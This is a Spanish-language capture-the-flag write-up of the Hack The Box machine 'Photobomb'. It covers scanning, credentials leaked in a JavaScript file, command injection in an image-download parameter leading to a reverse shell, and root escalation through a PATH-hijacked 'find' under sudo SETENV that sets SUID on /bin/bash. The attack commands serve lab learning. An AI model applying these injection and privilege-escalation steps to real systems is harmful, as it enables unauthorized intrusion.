Table of Contents
Hack The Box: Photobomb Writeup
Welcome to my detailed writeup of the easy difficulty machine “Photobomb” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.228.60 --ulimit 5000 -g
210.129.228.60 -> [22,80]
1$ nmap -p22,80 -sCV 10.129.228.60 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 01:12 CEST
3Nmap scan report for 10.129.228.60
4Host is up (0.037s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
10| 256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
11|_ 256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
1280/tcp open http nginx 1.18.0 (Ubuntu)
13|_http-server-header: nginx/1.18.0 (Ubuntu)
14|_http-title: Did not follow redirect to http://photobomb.htb/
15Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
16
17Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18Nmap done: 1 IP address (1 host up) scanned in 9.11 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.228.60 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 01:12 CEST
3Nmap scan report for 10.129.228.60
4Host is up (0.037s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
71072/udp closed cardax
817814/udp closed unknown
917824/udp closed unknown
1019283/udp closed keysrvr
1119647/udp closed unknown
1233872/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds
Del escaneo inicial encontramos el dominio photobomb.htb
, lo añadimos al /etc/hosts
HTTP Enumeration
whatweb
no nos reporta nada interesante ni ningún CMS.
1$ whatweb http://photobomb.htb
2http://photobomb.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.228.60], Script, Title[Photobomb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]
Así se ve el sitio web.
Encontramos una ruta /printer
en la página principal que nos pide credenciales.
En el código fuente vemos un script photobomb.js
Information Leakage
Si lo inspeccionamos es lo siguiente.
1function init() {
2 // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
3 if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
4 document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
5 }
6}
7window.onload = init;
Vemos una ruta http://pH0t0:b0Mb!@photobomb.htb/printer
donde se hace una autenticación HTTP.
- Usuario -> pH0t0
- Contraseña -> b0Mb!
Con estas credenciales conseguimos acceder a la ruta protegida.
Vemos varias opciones para descargarnos una imagen.
Command Injection -> Foothold
Si lo inspeccionamos con exiftool
no encontramos nada relevante.
1$ exiftool image.jpg 01:17:35 [67/135]
2ExifTool Version Number : 12.57
3File Name : image.jpg
4Directory : .
5File Size : 16 kB
6File Modification Date/Time : 2024:09:02 01:17:22+02:00
7File Access Date/Time : 2024:09:02 01:17:22+02:00
8File Inode Change Date/Time : 2024:09:02 01:17:29+02:00
9File Permissions : -rw-r--r--
10File Type : JPEG
11File Type Extension : jpg
12MIME Type : image/jpeg
13JFIF Version : 1.01
14Resolution Unit : inches
15X Resolution : 72
16Y Resolution : 72
17Profile CMM Type : Little CMS
18Profile Version : 2.1.0
19Profile Class : Display Device Profile
20Color Space Data : RGB
21Profile Connection Space : XYZ
22Profile Date Time : 2012:01:25 03:41:57
23Profile File Signature : acsp
24Primary Platform : Apple Computer Inc.
25CMM Flags : Not Embedded, Independent
26Device Manufacturer :
27Device Model :
28Device Attributes : Reflective, Glossy, Positive, Color
29Rendering Intent : Perceptual
30Connection Space Illuminant : 0.9642 1 0.82491
31Profile Creator : Little CMS
32Profile ID : 0
33Profile Description : c2
34Profile Copyright : IX
35Media White Point : 0.9642 1 0.82491
36Media Black Point : 0.01205 0.0125 0.01031
37Red Matrix Column : 0.43607 0.22249 0.01392
38Green Matrix Column : 0.38515 0.71687 0.09708
39Blue Matrix Column : 0.14307 0.06061 0.7141
40Red Tone Reproduction Curve : (Binary data 64 bytes, use -b option to extract)
41Green Tone Reproduction Curve : (Binary data 64 bytes, use -b option to extract)
42Blue Tone Reproduction Curve : (Binary data 64 bytes, use -b option to extract)
43Image Width : 600
44Image Height : 400
45Encoding Process : Baseline DCT, Huffman coding
46Bits Per Sample : 8
47Color Components : 3
48Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
49Image Size : 600x400
50Megapixels : 0.240
Si nos descargamos la misma imagen pero en máxima resolución vemos que se tarda mucho mas tiempo en descargar (en generar la descarga, no en descargar como tal).
Esto me hace pensar que quizás se está generado/procesando por detrás.
Al interceptar la petición vemos que se especifica el nombre de la imagen mediante el parámetro photo
Probando a cargar otros archivos no conseguí nada.
Teniendo en cuenta que posiblemente por detrás se esté utilizando imagemagick
o algo para redimensionar las imágenes podemos probar a inyectar un comando.
Después de varias pruebas, vemos que en el parámetro filetype
podemos conseguir inyectar un comando importante URL encodear los espacios.
1$ sudo tcpdump -i tun0 icmp
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
401:30:19.362031 IP photobomb.htb > 10.10.14.108: ICMP echo request, id 7, seq 1, length 64
501:30:19.362065 IP 10.10.14.108 > photobomb.htb: ICMP echo reply, id 7, seq 1, length 64
Ahora podemos mandarnos una revshell poniéndonos en escucha con pwncat-cs
por el puerto 443.
1$ sudo pwncat-cs -lp 443
Podemos utilizar el típico one-liner para mandarnos una consola pero esta vez url-encodeado.
¡Y conseguimos una consola!
Podemos ver la flag de usuario.
1(remote) wizard@photobomb:/home/wizard$ cat user.txt
2105df33b2ae4ee6...
Privilege Escalation
Detectamos que no hay otro usuario en el sistema a parte de root
1(remote) wizard@photobomb:/home/wizard$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3wizard:x:1000:1000:wizard:/home/wizard:/bin/bash
Detectamos que podemos ejecutar como el usuario root
y podemos cambiar las variables de entorno gracias al atributo SETENV
en tiempo de ejecución el script /opt/cleanup.sh
1(remote) wizard@photobomb:/home/wizard$ sudo -l
2Matching Defaults entries for wizard on photobomb:
3 env_reset, mail_badpass,
4 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
5
6User wizard may run the following commands on photobomb:
7 (root) SETENV: NOPASSWD: /opt/cleanup.sh
Este es el script.
1#!/bin/bash
2. /opt/.bashrc
3cd /home/wizard/photobomb
4
5# clean up log files
6if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
7then
8 /bin/cat log/photobomb.log > log/photobomb.log.old
9 /usr/bin/truncate -s0 log/photobomb.log
10fi
11
12# protect the priceless originals
13find source_images -type f -name '*.jpg' -exec chown root:root {} \;
Este script de Bash realiza las siguientes tareas:
- Carga configuraciones desde un archivo
.bashrc
. - Cambia al directorio
/home/wizard/photobomb
. - Gestiona un archivo de log, archivando su contenido si no está vacío y luego lo vacía.
- Protege archivos JPEG en el directorio
source_images
cambiando su propietario aroot
.
Path Hijacking -> Abusing SETENV
Vemos que se hace una llamada relativa al binario find
Y como tenemos el control sobre las variables de entorno gracias a SETENV
significa que podríamos secuestrar el binario de find
para ejecutar un comando a nivel de sistema como el usuario root
Vamos a crear un archivo en /tmp
llamado find
el cual será un simple script que establece el bit SUID de /bin/bash
para poder lanzarnos una bash
como root
1(remote) wizard@photobomb:/tmp$ cat find
2#!/bin/bash
3
4chmod u+s /bin/bash
Le damos permiso de ejecución.
1(remote) wizard@photobomb:/tmp$ chmod +x find
Ahora si ejecutamos como root
el script pero estableciendo la variable de entorno PATH
para que primero busque binarios en /tmp
y luego en los directorios que ya estaba definido
anteriormente…
1(remote) wizard@photobomb:/opt$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
1(remote) wizard@photobomb:/opt$ ls -la /bin/bash
2-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
Y ya podemos conseguir una consola como root
lanzando una bash
con el parámetro -p
1(remote) root@photobomb:/opt# id
2uid=1000(wizard) gid=1000(wizard) euid=0(root) groups=1000(wizard)
Y vemos que el EUID es 0 (root)
Podemos leer la flag de root
1(remote) root@photobomb:/root# cat root.txt
29dac3e4917e20d...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Photobomb #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #RCE #Exploit #Linux #HTTP Enumeration #Information Disclosure #Command Injection #Abusing Sudo #Abusing SETENV #Path Hijacking #Privilege Escalation